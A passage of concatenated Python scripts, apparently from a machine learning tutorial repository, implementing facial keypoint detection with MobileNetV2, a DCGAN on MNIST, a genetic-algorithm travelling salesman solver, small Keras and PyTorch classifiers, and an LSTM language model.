model.summary() # training the model using rmsprop optimizer # model.compile(loss="mean_squared_error", optimizer="adam", metrics=["mean_absolute_error"]) model.compile(loss=smoothL1, optimizer="adam", metrics=["mean_absolute_error"]) return model def create_mobilenet_model(input_shape, output_shape): model = MobileNetV2(input_shape=input_shape) # remove the last layer model.layers.pop() # freeze all the weights of the model except for the last 4 layers for layer in model.layers[:-4]: layer.trainable = False # construct our output dense layer output = Dense(output_shape, activation="linear") # connect it to the model output = output(model.layers[-1].output) model = Model(inputs=model.inputs, outputs=output) model.summary() # training the model using adam optimizer # model.compile(loss="mean_squared_error", optimizer="adam", metrics=["mean_absolute_error"]) model.compile(loss=smoothL1, optimizer="adam", metrics=["mean_absolute_error"]) return model IMAGE_SIZE = (224, 224) OUTPUT_SHAPE = (68, 2) BATCH_SIZE = 20 EPOCHS = 30 training_file = "data/training_frames_keypoints.csv" testing_file = "data/test_frames_keypoints.csv" import pandas as pd import numpy as np import matplotlib.pyplot as plt from models import create_model, create_mobilenet_model from parameters import IMAGE_SIZE, BATCH_SIZE, EPOCHS, OUTPUT_SHAPE, training_file, testing_file from utils import load_data def get_predictions(model, X): predicted_keypoints = model.predict(X) predicted_keypoints = predicted_keypoints.reshape(-1, *OUTPUT_SHAPE) return predicted_keypoints def show_keypoints(image, predicted_keypoints, true_keypoints): predicted_keypoints = untransform(predicted_keypoints) true_keypoints = untransform(true_keypoints) plt.imshow(np.squeeze(image), cmap="gray") plt.scatter(predicted_keypoints[:, 0], predicted_keypoints[:, 1], s=20, marker=".", c="m") plt.scatter(true_keypoints[:, 0], true_keypoints[:, 1], s=20, marker=".", c="g") plt.show() def untransform(keypoints): return keypoints *224 # # construct the model model = create_mobilenet_model((*IMAGE_SIZE, 3), OUTPUT_SHAPE[0] * OUTPUT_SHAPE[1]) model.load_weights("results/model_smoothl1_mobilenet_crop.h5") X_test, y_test = load_data(testing_file) y_test = y_test.reshape(-1, *OUTPUT_SHAPE) y_pred = get_predictions(model, X_test) print(y_pred[0]) print(y_pred.shape) print(y_test.shape) print(X_test.shape) for i in range(50): show_keypoints(X_test[i+400], y_pred[i+400], y_test[i+400]) import numpy as np import pandas as pd import matplotlib.pyplot as plt from sklearn.preprocessing import MinMaxScaler from tqdm import tqdm # from tensorflow.keras.layers import Conv2D, Dense, MaxPooling2D from tensorflow.keras.callbacks import TensorBoard, ModelCheckpoint import os from models import create_model, create_mobilenet_model from parameters import IMAGE_SIZE, BATCH_SIZE, EPOCHS, OUTPUT_SHAPE, training_file, testing_file from utils import load_data # # read the training dataframe # training_df = pd.read_csv("data/training_frames_keypoints.csv") # # print the number of images available in the training dataset # print("Number of images in training set:", training_df.shape[0]) def show_keypoints(image, key_points): # show the image plt.imshow(image) # use scatter() to plot the keypoints in the faces plt.scatter(key_points[:, 0], key_points[:, 1], s=20, marker=".") plt.show() # show an example image # n = 124 # image_name = training_df.iloc[n, 0] # keypoints = training_df.iloc[n, 1:].values.reshape(-1, 2) # show_keypoints(mpimg.imread(os.path.join("data", "training", image_name)), key_points=keypoints) model_name = "model_smoothl1_mobilenet_crop" # construct the model model = create_mobilenet_model((*IMAGE_SIZE, 3), OUTPUT_SHAPE[0] * OUTPUT_SHAPE[1]) # model.load_weights("results/model3.h5") X_train, y_train = load_data(training_file, to_gray=False) X_test, y_test = load_data(testing_file, to_gray=False) if not os.path.isdir("results"): os.mkdir("results") tensorboard = TensorBoard(log_dir=os.path.join("logs", model_name)) # checkpoint = ModelCheckpoint(os.path.join("results", model_name), save_best_only=True, verbose=1) history = model.fit(X_train, y_train, batch_size=BATCH_SIZE, epochs=EPOCHS, validation_data=(X_test, y_test), # callbacks=[tensorboard, checkpoint], callbacks=[tensorboard], verbose=1) model.save("results/" + model_name + ".h5") import numpy as np import pandas as pd import matplotlib.image as mpimg import matplotlib.pyplot as plt import cv2 from tqdm import tqdm import os from parameters import IMAGE_SIZE, OUTPUT_SHAPE def show_keypoints(image, predicted_keypoints, true_keypoints=None): # predicted_keypoints = untransform(predicted_keypoints) plt.imshow(image, cmap="gray") plt.scatter(predicted_keypoints[:, 0], predicted_keypoints[:, 1], s=20, marker=".", c="m") if true_keypoints is not None: # true_keypoints = untransform(true_keypoints) plt.scatter(true_keypoints[:, 0], true_keypoints[:, 1], s=20, marker=".", c="g") plt.show() def resize_image(image, image_size): return cv2.resize(image, image_size) def random_crop(image, keypoints): h, w = image.shape[:2] new_h, new_w = IMAGE_SIZE keypoints = keypoints.reshape(-1, 2) try: top = np.random.randint(0, h - new_h) left = np.random.randint(0, w - new_w) except ValueError: return image, keypoints image = image[top: top + new_h, left: left + new_w] keypoints = keypoints - [left, top] return image, keypoints def normalize_image(image, to_gray=True): if image.shape[2] == 4: # if the image has an alpha color channel (opacity) # let's just remove it image = image[:, :, :3] # get the height & width of image h, w = image.shape[:2] new_h, new_w = IMAGE_SIZE new_h, new_w = int(new_h), int(new_w) # scaling the image to that IMAGE_SIZE # image = cv2.resize(image, (new_w, new_h)) image = resize_image(image, (new_w, new_h)) if to_gray: # convert image to grayscale image = cv2.cvtColor(image, cv2.COLOR_RGB2GRAY) # normalizing pixels from the range [0, 255] to [0, 1] image = image / 255.0 if to_gray: image = np.expand_dims(image, axis=2) return image def normalize_keypoints(image, keypoints): # get the height & width of image h, w = image.shape[:2] # reshape to coordinates (x, y) # i.e converting a vector of (136,) to the 2D array (68, 2) new_h, new_w = IMAGE_SIZE new_h, new_w = int(new_h), int(new_w) keypoints = keypoints.reshape(-1, 2) # scale the keypoints also keypoints = keypoints * [new_w / w, new_h / h] keypoints = keypoints.reshape(-1) # normalizing keypoints from [0, IMAGE_SIZE] to [0, 1] (experimental) keypoints = keypoints / 224 # keypoints = (keypoints - 100) / 50 return keypoints def normalize(image, keypoints, to_gray=True): image, keypoints = random_crop(image, keypoints) return normalize_image(image, to_gray=to_gray), normalize_keypoints(image, keypoints) def load_data(csv_file, to_gray=True): # read the training dataframe df = pd.read_csv(csv_file) all_keypoints = np.array(df.iloc[:, 1:]) image_names = list(df.iloc[:, 0]) # load images X, y = [], [] X = np.zeros((len(image_names), *IMAGE_SIZE, 3), dtype="float32") y = np.zeros((len(image_names), OUTPUT_SHAPE[0] * OUTPUT_SHAPE[1])) for i, (image_name, keypoints) in enumerate(zip(tqdm(image_names, "Loading " + os.path.basename(csv_file)), all_keypoints)): image = mpimg.imread(os.path.join("data", "training", image_name)) image, keypoints = normalize(image, keypoints, to_gray=to_gray) X[i] = image y[i] = keypoints return X, y """ DCGAN on MNIST using Keras """ # to use CPU import os # os.environ["CUDA_DEVICE_ORDER"] = "PCI_BUS_ID" # see issue #152 # os.environ["CUDA_VISIBLE_DEVICES"] = "-1" # import tensorflow as tf # config = tf.ConfigProto(intra_op_parallelism_threads=5, # inter_op_parallelism_threads=5, # allow_soft_placement=True, # device_count = {'CPU' : 1, # 'GPU' : 0} # ) import numpy as np import matplotlib.pyplot as plt import tqdm import glob # from tensorflow.examples.tutorials.mnist import input_data from keras.models import Sequential from keras.layers import Dense, Activation, Flatten, Reshape from keras.layers import Conv2D, Conv2DTranspose, UpSampling2D from keras.layers import LeakyReLU, Dropout, BatchNormalization from keras.optimizers import Adam, RMSprop from keras.datasets import mnist class GAN: def __init__(self, img_x=28, img_y=28, img_z=1): self.img_x = img_x self.img_y = img_y self.img_z = img_z self.D = None # discriminator self.G = None # generator self.AM = None # adversarial model self.DM = None # discriminator model def discriminator(self): if self.D: return self.D self.D = Sequential() depth = 64 dropout = 0.4 input_shape = (self.img_x, self.img_y, self.img_z) self.D.add(Conv2D(depth, 5, strides=2, input_shape=input_shape, padding="same")) self.D.add(LeakyReLU(0.2)) self.D.add(Dropout(dropout)) self.D.add(Conv2D(depth*2, 5, strides=2, padding="same")) self.D.add(LeakyReLU(0.2)) self.D.add(Dropout(dropout)) self.D.add(Conv2D(depth*4, 5, strides=2, padding="same")) self.D.add(LeakyReLU(0.2)) self.D.add(Dropout(dropout)) self.D.add(Conv2D(depth*8, 5, strides=1, padding="same")) self.D.add(LeakyReLU(0.2)) self.D.add(Dropout(dropout)) # convert to 1 dimension self.D.add(Flatten()) self.D.add(Dense(1, activation="sigmoid")) print("="*50, "Discriminator", "="*50) self.D.summary() return self.D def generator(self): if self.G: return self.G self.G = Sequential() dropout = 0.4 # covnerting from 100 vector noise to dim x dim x depth # (100,) to (7, 7, 256) depth = 64 * 4 dim = 7 self.G.add(Dense(dim*dim*depth, input_dim=100)) self.G.add(BatchNormalization(momentum=0.9)) self.G.add(Activation("relu")) self.G.add(Reshape((dim, dim, depth))) self.G.add(Dropout(dropout)) # upsampling to (14, 14, 128) self.G.add(UpSampling2D()) self.G.add(Conv2DTranspose(depth // 2, 5, padding="same")) self.G.add(BatchNormalization(momentum=0.9)) self.G.add(Activation("relu")) self.G.add(Dropout(dropout)) # up to (28, 28, 64) self.G.add(UpSampling2D()) self.G.add(Conv2DTranspose(depth // 4, 5, padding="same")) self.G.add(BatchNormalization(momentum=0.9)) self.G.add(Activation("relu")) self.G.add(Dropout(dropout)) # to (28, 28, 32) self.G.add(Conv2DTranspose(depth // 8, 5, padding="same")) self.G.add(BatchNormalization(momentum=0.9)) self.G.add(Activation("relu")) self.G.add(Dropout(dropout)) # to (28, 28, 1) (img) self.G.add(Conv2DTranspose(1, 5, padding="same")) self.G.add(Activation("sigmoid")) print("="*50, "Generator", "="*50) self.G.summary() return self.G def discriminator_model(self): if self.DM: return self.DM # optimizer = RMSprop(lr=0.001, decay=6e-8) optimizer = Adam(0.0002, 0.5) self.DM = Sequential() self.DM.add(self.discriminator()) self.DM.compile(loss="binary_crossentropy", optimizer=optimizer, metrics=["accuracy"]) return self.DM def adversarial_model(self): if self.AM: return self.AM # optimizer = RMSprop(lr=0.001, decay=3e-8) optimizer = Adam(0.0002, 0.5) self.AM = Sequential() self.AM.add(self.generator()) self.AM.add(self.discriminator()) self.AM.compile(loss="binary_crossentropy", optimizer=optimizer, metrics=["accuracy"]) return self.AM class MNIST: def __init__(self): self.img_x = 28 self.img_y = 28 self.img_z = 1 self.steps = 0 self.load_data() self.create_models() # used image indices self._used_indices = set() def load_data(self): (self.X_train, self.y_train), (self.X_test, self.y_test) = mnist.load_data() # reshape to (num_samples, 28, 28 , 1) self.X_train = np.expand_dims(self.X_train, axis=-1) self.X_test = np.expand_dims(self.X_test, axis=-1) def create_models(self): self.GAN = GAN() self.discriminator = self.GAN.discriminator_model() self.adversarial = self.GAN.adversarial_model() self.generator = self.GAN.generator() discriminators = glob.glob("discriminator_*.h5") generators = glob.glob("generator_*.h5") adversarial = glob.glob("adversarial_*.h5") if len(discriminators) != 0: print("[+] Found a discriminator ! Loading weights ...") self.discriminator.load_weights(discriminators[0]) if len(generators) != 0: print("[+] Found a generator ! Loading weights ...") self.generator.load_weights(generators[0]) if len(adversarial) != 0: print("[+] Found an adversarial model ! Loading weights ...") self.steps = int(adversarial[0].replace("adversarial_", "").replace(".h5", "")) self.adversarial.load_weights(adversarial[0]) def get_unique_random(self, batch_size=256): indices = np.random.randint(0, self.X_train.shape[0], size=batch_size) # in_used_indices = np.any([i in indices for i in self._used_indices]) # while in_used_indices: # indices = np.random.randint(0, self.X_train.shape[0], size=batch_size) # in_used_indices = np.any([i in indices for i in self._used_indices]) # self._used_indices |= set(indices) # if len(self._used_indices) > self.X_train.shape[0] // 2: # if used indices is more than half of training samples, clear it # that is to enforce it to train at least more than half of the dataset uniquely # self._used_indices.clear() return indices def train(self, train_steps=2000, batch_size=256, save_interval=0): noise_input = None steps = tqdm.tqdm(list(range(self.steps, train_steps))) fake = np.zeros((batch_size, 1)) real = np.ones((batch_size, 1)) for i in steps: real_images = self.X_train[self.get_unique_random(batch_size)] # noise = np.random.uniform(-1.0, 1.0, size=(batch_size, 100)) noise = np.random.normal(size=(batch_size, 100)) fake_images = self.generator.predict(noise) # get 256 real images and 256 fake images d_loss_real = self.discriminator.train_on_batch(real_images, real) d_loss_fake = self.discriminator.train_on_batch(fake_images, fake) d_loss = 0.5 * np.add(d_loss_real, d_loss_fake) # X = np.concatenate((real_images, fake_images)) # y = np.zeros((2*batch_size, 1)) # 0 for fake and 1 for real # y[:batch_size, :] = 1 # shuffle # shuffle_in_unison(X, y) # d_loss = self.discriminator.train_on_batch(X, y) # y = np.ones((batch_size, 1)) # noise = np.random.uniform(-1.0, 1.0, size=(batch_size, 100)) # fool the adversarial, telling him everything is real a_loss = self.adversarial.train_on_batch(noise, real) log_msg = f"[D loss: {d_loss[0]:.6f}, D acc: {d_loss[1]:.6f} | A loss: {a_loss[0]:.6f}, A acc: {a_loss[1]:.6f}]" steps.set_description(log_msg) if save_interval > 0: noise_input = np.random.uniform(low=-1, high=1.0, size=(16, 100)) if (i + 1) % save_interval == 0: self.plot_images(save2file=True, samples=noise_input.shape[0], noise=noise_input, step=(i+1)) self.discriminator.save(f"discriminator_{i+1}.h5") self.generator.save(f"generator_{i+1}.h5") self.adversarial.save(f"adversarial_{i+1}.h5") def plot_images(self, save2file=False, fake=True, samples=16, noise=None, step=0): filename = "mnist_fake.png" if fake: if noise is None: noise = np.random.uniform(-1.0, 1.0, size=(samples, 100)) else: filename = f"mnist_{step}.png" images = self.generator.predict(noise) else: i = np.random.randint(0, self.X_train.shape[0], samples) images = self.X_train[i] if noise is None: filename = "mnist_real.png" plt.figure(figsize=(10, 10)) for i in range(images.shape[0]): plt.subplot(4, 4, i+1) image = images[i] image = np.reshape(image, (self.img_x, self.img_y)) plt.imshow(image, cmap="gray") plt.axis("off") plt.tight_layout() if save2file: plt.savefig(filename) plt.close("all") else: plt.show() # https://stackoverflow.com/questions/4601373/better-way-to-shuffle-two-numpy-arrays-in-unison def shuffle_in_unison(a, b): rng_state = np.random.get_state() np.random.shuffle(a) np.random.set_state(rng_state) np.random.shuffle(b) if __name__ == "__main__": mnist_gan = MNIST() mnist_gan.train(train_steps=10000, batch_size=256, save_interval=500) mnist_gan.plot_images(fake=True, save2file=True) mnist_gan.plot_images(fake=False, save2file=True) import random import numpy as np import pandas as pd import operator import matplotlib.pyplot as plt from threading import Event, Thread class Individual: def __init__(self, object): self.object = object def update(self, new): self.object = new def __repr__(self): return self.object def __str__(self): return self.object class GeneticAlgorithm: """General purpose genetic algorithm implementation""" def __init__(self, individual, popsize, elite_size, mutation_rate, generations, fitness_func, plot=True, prn=True, animation_func=None): self.individual = individual self.popsize = popsize self.elite_size = elite_size self.mutation_rate = mutation_rate self.generations = generations if not callable(fitness_func): raise TypeError("fitness_func must be a callable object.") self.get_fitness = fitness_func self.plot = plot self.prn = prn self.population = self._init_pop() self.animate = animation_func def calc(self): """Try to find the best individual. This function returns (initial_individual, final_individual, """ sorted_pop = self.sortpop() initial_route = self.population[sorted_pop[0][0]] distance = 1 / sorted_pop[0][1] progress = [ distance ] if callable(self.animate): self.plot = True individual = Individual(initial_route) stop_animation = Event() self.animate(individual, progress, stop_animation, plot_conclusion=initial_route) else: self.plot = False if self.prn: print(f"Initial distance: {distance}") try: if self.plot: for i in range(self.generations): population = self.next_gen() sorted_pop = self.sortpop() distance = 1 / sorted_pop[0][1] progress.append(distance) if self.prn: print(f"[Generation:{i}] Current distance: {distance}") route = population[sorted_pop[0][0]] individual.update(route) else: for i in range(self.generations): population = self.next_gen() distance = 1 / self.sortpop()[0][1] if self.prn: print(f"[Generation:{i}] Current distance: {distance}") except KeyboardInterrupt: pass try: stop_animation.set() except NameError: pass final_route_index = self.sortpop()[0][0] final_route = population[final_route_index] if self.prn: print("Final route:", final_route) return initial_route, final_route, distance def create_population(self): return random.sample(self.individual, len(self.individual)) def _init_pop(self): return [ self.create_population() for i in range(self.popsize) ] def sortpop(self): """This function calculates the fitness of each individual in population And returns a population sorted by its fitness in descending order""" result = [ (i, self.get_fitness(individual)) for i, individual in enumerate(self.population) ] return sorted(result, key=operator.itemgetter(1), reverse=True) def selection(self): sorted_pop = self.sortpop() df = pd.DataFrame(np.array(sorted_pop), columns=["Index", "Fitness"]) df['cum_sum'] = df['Fitness'].cumsum() df['cum_perc'] = 100 * df['cum_sum'] / df['Fitness'].sum() result = [ sorted_pop[i][0] for i in range(self.elite_size) ] for i in range(len(sorted_pop) - self.elite_size): pick = random.random() * 100 for i in range(len(sorted_pop)): if pick <= df['cum_perc'][i]: result.append(sorted_pop[i][0]) break return [ self.population[index] for index in result ] def breed(self, parent1, parent2): child1, child2 = [], [] gene_A = random.randint(0, len(parent1)) gene_B = random.randint(0, len(parent2)) start_gene = min(gene_A, gene_B) end_gene = max(gene_A, gene_B) for i in range(start_gene, end_gene): child1.append(parent1[i]) child2 = [ item for item in parent2 if item not in child1 ] return child1 + child2 def breed_population(self, selection): pool = random.sample(selection, len(selection)) children = [selection[i] for i in range(self.elite_size)] children.extend([self.breed(pool[i], pool[len(selection)-i-1]) for i in range(len(selection) - self.elite_size)]) return children def mutate(self, individual): individual_length = len(individual) for swapped in range(individual_length): if(random.random() < self.mutation_rate): swap_with = random.randint(0, individual_length-1) individual[swapped], individual[swap_with] = individual[swap_with], individual[swapped] return individual def mutate_population(self, children): return [ self.mutate(individual) for individual in children ] def next_gen(self): selection = self.selection() children = self.breed_population(selection) self.population = self.mutate_population(children) return self.population from genetic import plt from genetic import Individual from threading import Thread def plot_routes(initial_route, final_route): _, ax = plt.subplots(nrows=1, ncols=2) for col, route in zip(ax, [("Initial Route", initial_route), ("Final Route", final_route) ]): col.title.set_text(route[0]) route = route[1] for i, city in enumerate(route): if i == 0: col.text(city.x-5, city.y+5, "Start") col.scatter(city.x, city.y, s=70, c='g') else: col.scatter(city.x, city.y, s=70, c='b') col.plot([ city.x for city in route ], [city.y for city in route], c='r') col.plot([route[-1].x, route[0].x], [route[-1].y, route[0].y], c='r') plt.show() def animate_progress(route, progress, stop_animation, plot_conclusion=None): def animate(): nonlocal route _, ax1 = plt.subplots(nrows=1, ncols=2) while True: if isinstance(route, Individual): target = route.object ax1[0].clear() ax1[1].clear() # current routes and cities ax1[0].title.set_text("Current routes") for i, city in enumerate(target): if i == 0: ax1[0].text(city.x-5, city.y+5, "Start") ax1[0].scatter(city.x, city.y, s=70, c='g') else: ax1[0].scatter(city.x, city.y, s=70, c='b') ax1[0].plot([ city.x for city in target ], [city.y for city in target], c='r') ax1[0].plot([target[-1].x, target[0].x], [target[-1].y, target[0].y], c='r') # current distance graph ax1[1].title.set_text("Current distance") ax1[1].plot(progress) ax1[1].set_ylabel("Distance") ax1[1].set_xlabel("Generation") plt.pause(0.05) if stop_animation.is_set(): break plt.show() if plot_conclusion: initial_route = plot_conclusion plot_routes(initial_route, target) Thread(target=animate).start() import matplotlib.pyplot as plt import random import numpy as np import operator from plots import animate_progress, plot_routes class City: def __init__(self, x, y): self.x = x self.y = y def distance(self, city): """Returns distance between self city and city""" x = abs(self.x - city.x) y = abs(self.y - city.y) return np.sqrt(x ** 2 + y ** 2) def __sub__(self, city): return self.distance(city) def __repr__(self): return f"({self.x}, {self.y})" def __str__(self): return self.__repr__() def get_fitness(route): def get_distance(): distance = 0 for i in range(len(route)): from_city = route[i] to_city = route[i+1] if i+1 < len(route) else route[0] distance += (from_city - to_city) return distance return 1 / get_distance() def load_cities(): return [ City(city[0], city[1]) for city in [(169, 20), (103, 24), (41, 9), (177, 76), (138, 173), (163, 108), (93, 34), (200, 84), (19, 184), (117, 176), (153, 30), (140, 29), (38, 108), (89, 183), (18, 4), (174, 38), (109, 169), (93, 23), (156, 10), (171, 27), (164, 91), (109, 194), (90, 169), (115, 37), (177, 93), (169, 20)] ] def generate_cities(size): cities = [] for i in range(size): x = random.randint(0, 200) y = random.randint(0, 200) if 40 < x < 160: if 0.5 <= random.random(): y = random.randint(0, 40) else: y = random.randint(160, 200) elif 40 < y < 160: if 0.5 <= random.random(): x = random.randint(0, 40) else: x = random.randint(160, 200) cities.append(City(x, y)) return cities def benchmark(cities): popsizes = [60, 80, 100, 120, 140] elite_sizes = [5, 10, 20, 30, 40] mutation_rates = [0.02, 0.01, 0.005, 0.003, 0.001] generations = 1200 iterations = len(popsizes) * len(elite_sizes) * len(mutation_rates) iteration = 0 gens = {} for popsize in popsizes: for elite_size in elite_sizes: for mutation_rate in mutation_rates: iteration += 1 gen = GeneticAlgorithm(cities, popsize=popsize, elite_size=elite_size, mutation_rate=mutation_rate, generations=generations, fitness_func=get_fitness, prn=False) initial_route, final_route, generation = gen.calc(ret=("generation", 755)) if generation == generations: print(f"[{iteration}/{iterations}] (popsize={popsize}, elite_size={elite_size}, mutation_rate={mutation_rate}): could not reach the solution") else: print(f"[{iteration}/{iterations}] (popsize={popsize}, elite_size={elite_size}, mutation_rate={mutation_rate}): {generation} generations was enough") if generation != generations: gens[iteration] = generation # reversed_gen = {v:k for k, v in gens.items()} output = sorted(gens.items(), key=operator.itemgetter(1)) for i, gens in output: print(f"Iteration: {i} generations: {gens}") # [1] (popsize=60, elite_size=30, mutation_rate=0.001): 235 generations was enough # [2] (popsize=80, elite_size=20, mutation_rate=0.001): 206 generations was enough # [3] (popsize=100, elite_size=30, mutation_rate=0.001): 138 generations was enough # [4] (popsize=120, elite_size=30, mutation_rate=0.002): 117 generations was enough # [5] (popsize=140, elite_size=20, mutation_rate=0.003): 134 generations was enough # The notes: # 1.1 Increasing the mutation rate to higher rate, the curve will be inconsistent and it won't lead us to the optimal distance. # 1.2 So we need to put it as small as 1% or lower # 2. Elite size is likely to be about 30% or less of total population # 3. Generations depends on the other parameters, can be a fixed number, or until we reach the optimal distance. # 4. if __name__ == "__main__": from genetic import GeneticAlgorithm cities = load_cities() # cities = generate_cities(50) # parameters popsize = 120 elite_size = 30 mutation_rate = 0.1 generations = 400 gen = GeneticAlgorithm(cities, popsize=popsize, elite_size=elite_size, mutation_rate=mutation_rate, generations=generations, fitness_func=get_fitness, animation_func=animate_progress) initial_route, final_route, distance = gen.calc() import tensorflow as tf import matplotlib.pyplot as plt from sklearn.model_selection import train_test_split from sklearn.utils import shuffle import re import numpy as np import os import time import json from glob import glob from PIL import Image import pickle import numpy as np from keras.utils import np_utils from tensorflow.keras.models import Sequential from tensorflow.keras.layers import Dense, Activation np.random.seed(19) X = np.array([[0,0],[0,1],[1,0],[1,1]]).astype('float32') y = np.array([[0],[1],[1],[0]]).astype('float32') y = np_utils.to_categorical(y) xor = Sequential() # add required layers xor.add(Dense(8, input_dim=2)) # hyperbolic tangent function to the first hidden layer ( 8 nodes ) xor.add(Activation("tanh")) xor.add(Dense(8)) xor.add(Activation("relu")) # output layer xor.add(Dense(2)) # sigmoid function to the output layer ( final ) xor.add(Activation("sigmoid")) # Cross-entropy error function xor.compile(loss="categorical_crossentropy", optimizer="adam", metrics=["accuracy"]) # show the summary of the model xor.summary() xor.fit(X, y, epochs=400, verbose=1) # accuray score = xor.evaluate(X, y) print(f"Accuracy: {score[-1]}") # Checking the predictions print("\nPredictions:") print(xor.predict(X)) import torch import torchvision from torchvision import transforms, datasets import torch.nn as nn import torch.nn.functional as F import torch.optim as optim import matplotlib.pyplot as plt epochs = 3 batch_size = 64 # building the network now class Net(nn.Module): def __init__(self): super().__init__() # takes 28x28 images self.fc1 = nn.Linear(28*28, 64) self.fc2 = nn.Linear(64, 64) self.fc3 = nn.Linear(64, 64) self.fc4 = nn.Linear(64, 10) def forward(self, x): x = F.relu(self.fc1(x)) x = F.relu(self.fc2(x)) x = F.relu(self.fc3(x)) x = self.fc4(x) return F.log_softmax(x, dim=1) if __name__ == "__main__": training_set = datasets.MNIST("", train=True, download=True, transform=transforms.Compose([ transforms.ToTensor() ])) test_set = datasets.MNIST("", train=False, download=True, transform=transforms.Compose([ transforms.ToTensor() ])) # load the dataset train = torch.utils.data.DataLoader(training_set, batch_size=batch_size, shuffle=True) test = torch.utils.data.DataLoader(test_set, batch_size=batch_size, shuffle=False) # construct the model net = Net() # specify the loss and optimizer loss = nn.CrossEntropyLoss() optimizer = optim.Adam(net.parameters(), lr=0.001) # training the model for epoch in range(epochs): for data in train: # data is the batch of data now # X are the features, y are labels X, y = data net.zero_grad() # set gradients to 0 before loss calculation output = net(X.view(-1, 28*28)) # feed data to the network loss = F.nll_loss(output, y) # calculating the negative log likelihood loss.backward() # back propagation optimizer.step() # attempt to optimize weights to account for loss/gradients print(loss) correct = 0 total = 0 with torch.no_grad(): for data in test: X, y = data output = net(X.view(-1, 28*28)) for index, i in enumerate(output): if torch.argmax(i) == y[index]: correct += 1 total += 1 print("Accuracy:", round(correct / total, 3)) # testing print(torch.argmax(net(X.view(-1, 28*28))[0])) plt.imshow(X[0].view(28, 28)) plt.show() from keras.models import Sequential from keras.layers import LSTM, Dropout, BatchNormalization, LeakyReLU, Dense, Activation, TimeDistributed from keras.layers import Bidirectional def rnn_model(input_dim, cell, num_layers, units, dropout, batch_normalization=True, bidirectional=True): model = Sequential() for i in range(num_layers): if i == 0: # first time, specify input_shape if bidirectional: model.add(Bidirectional(cell(units, input_shape=(None, input_dim), return_sequences=True))) else: model.add(cell(units, input_shape=(None, input_dim), return_sequences=True)) if batch_normalization: model.add(BatchNormalization()) model.add(Dropout(dropout)) model.add(LeakyReLU(alpha=0.1)) else: if bidirectional: model.add(Bidirectional(cell(units, return_sequences=True))) else: model.add(cell(units, return_sequences=True)) if batch_normalization: model.add(BatchNormalization()) model.add(Dropout(dropout)) model.add(LeakyReLU(alpha=0.1)) model.add(TimeDistributed(Dense(input_dim, activation="softmax"))) return model from utils import UNK, text_to_sequence, sequence_to_text from keras.preprocessing.sequence import pad_sequences from keras.layers import LSTM from models import rnn_model from scipy.ndimage.interpolation import shift import numpy as np # to use CPU import os os.environ["CUDA_DEVICE_ORDER"] = "PCI_BUS_ID" # see issue #152 os.environ["CUDA_VISIBLE_DEVICES"] = "-1" import tensorflow as tf config = tf.ConfigProto(intra_op_parallelism_threads=6, inter_op_parallelism_threads=6, allow_soft_placement=True, device_count = {'CPU' : 1, 'GPU' : 0} ) INPUT_DIM = 50 test_text = "" test_text += """college or good clerk at university has not pleasant days or used not to have them half a century ago but his position was recognized and the misery was measured can we just make something that is useful for making this happen especially when they are just doing it by""" encoded = np.expand_dims(np.array(text_to_sequence(test_text)), axis=0) encoded = encoded.reshape((-1, encoded.shape[0], encoded.shape[1])) model = rnn_model(INPUT_DIM, LSTM, 4, 380, 0.3, bidirectional=False) model.load_weights("results/lm_rnn_v2_6400548.3.h5") # for i in range(10): # predicted_word_int = model.predict_classes(encoded)[0] # print(predicted_word_int, end=',') # word = sequence_to_text(predicted_word_int) # encoded = shift(encoded, -1, cval=predicted_word_int) # print(word, end=' ') print("Fed:") print(encoded) print("Result: predict") print(model.predict(encoded)[0]) print("Result: predict_proba") print(model.predict_proba(encoded)[0]) print("Result: predict_classes") print(model.predict_classes(encoded)[0]) print(sequence_to_text(model.predict_classes(encoded)[0])) print() from models import rnn_model from utils import sequence_to_text, text_to_sequence, get_batches, get_data, get_text, vocab from keras.layers import LSTM from keras.callbacks import ModelCheckpoint import numpy as np import os INPUT_DIM = 50 # OUTPUT_DIM = len(vocab) BATCH_SIZE = 128 # get data text = get_text("data") encoded = np.array(text_to_sequence(text)) print(len(encoded)) # X, y = get_data(encoded, INPUT_DIM, 1) # del text, encoded model = rnn_model(INPUT_DIM, LSTM, 4, 380, 0.3, bidirectional=False) model.compile(loss="categorical_crossentropy", optimizer="adam", metrics=["accuracy"]) model.summary() if not os.path.isdir("results"): os.mkdir("results") checkpointer = ModelCheckpoint("results/lm_rnn_v2_{loss:.1f}.h5", verbose=1) steps_per_epoch = (len(encoded) // 100) // BATCH_SIZE model.fit_generator(get_batches(encoded, BATCH_SIZE, INPUT_DIM), epochs=100, callbacks=[checkpointer], verbose=1, steps_per_epoch=steps_per_epoch) model.save("results/lm_rnn_v2_final.h5") import numpy as np import os import tqdm import inflect from string import punctuation, whitespace from word_forms.word_forms import get_word_forms p = inflect.engine() UNK = "<unk>" vocab = set() add = vocab.add # add unk add(UNK) with open("data/vocab1.txt") as f: for line in f: add(line.strip()) vocab = sorted(vocab) word2int = {w: i for i, w in enumerate(vocab)} int2word = {i: w for i, w in enumerate(vocab)} def update_vocab(word): global vocab global word2int global int2word vocab.add(word) next_int = max(int2word) + 1 word2int[word] = next_int int2word[next_int] = word def save_vocab(_vocab): with open("vocab1.txt", "w") as f: for w in sorted(_vocab): print(w, file=f) def text_to_sequence(text): return [ word2int[word] for word in text.split() ] def sequence_to_text(seq): return ' '.join([ int2word[i] for i in seq ]) def get_batches(arr, batch_size, n_steps): '''Create a generator that returns batches of size batch_size x n_steps from arr. Arguments --------- arr: Array you want to make batches from batch_size: Batch size, the number of sequences per batch n_steps: Number of sequence steps per batch ''' chars_per_batch = batch_size * n_steps n_batches = len(arr) // chars_per_batch arr = arr[:chars_per_batch * n_batches] arr = arr.reshape((batch_size, -1)) while True: for n in range(0, arr.shape[1], n_steps): x = arr[:, n: n+n_steps] y_temp = arr[:, n+1:n+n_steps+1] y = np.zeros(x.shape, dtype=y_temp.dtype) y[:, :y_temp.shape[1]] = y_temp yield x.reshape(1, x.shape[0], x.shape[1]), y.reshape(1, y.shape[0], y.shape[1]) def get_data(arr, n_seq, look_forward): n_samples = len(arr) // n_seq X = np.zeros((n_seq, n_samples)) Y = np.zeros((n_seq, n_samples)) for index, i in enumerate(range(0, n_samples*n_seq, n_seq)): x = arr[i:i+n_seq] y = arr[i+look_forward:i+n_seq+look_forward] if len(x) != n_seq or len(y) != n_seq: break X[:, index] = x Y[:, index] = y return X.T.reshape(1, X.shape[1], X.shape[0]), Y.T.reshape(1, Y.shape[1], Y.shape[0]) def get_text(path, files=["carroll-alice.txt", "text.txt", "text8.txt"]): global vocab global word2int global int2word text = "" file = files[0] for file in tqdm.tqdm(files, "Loading data"): file = os.path.join(path, file) with open(file, encoding="utf8") as f: text += 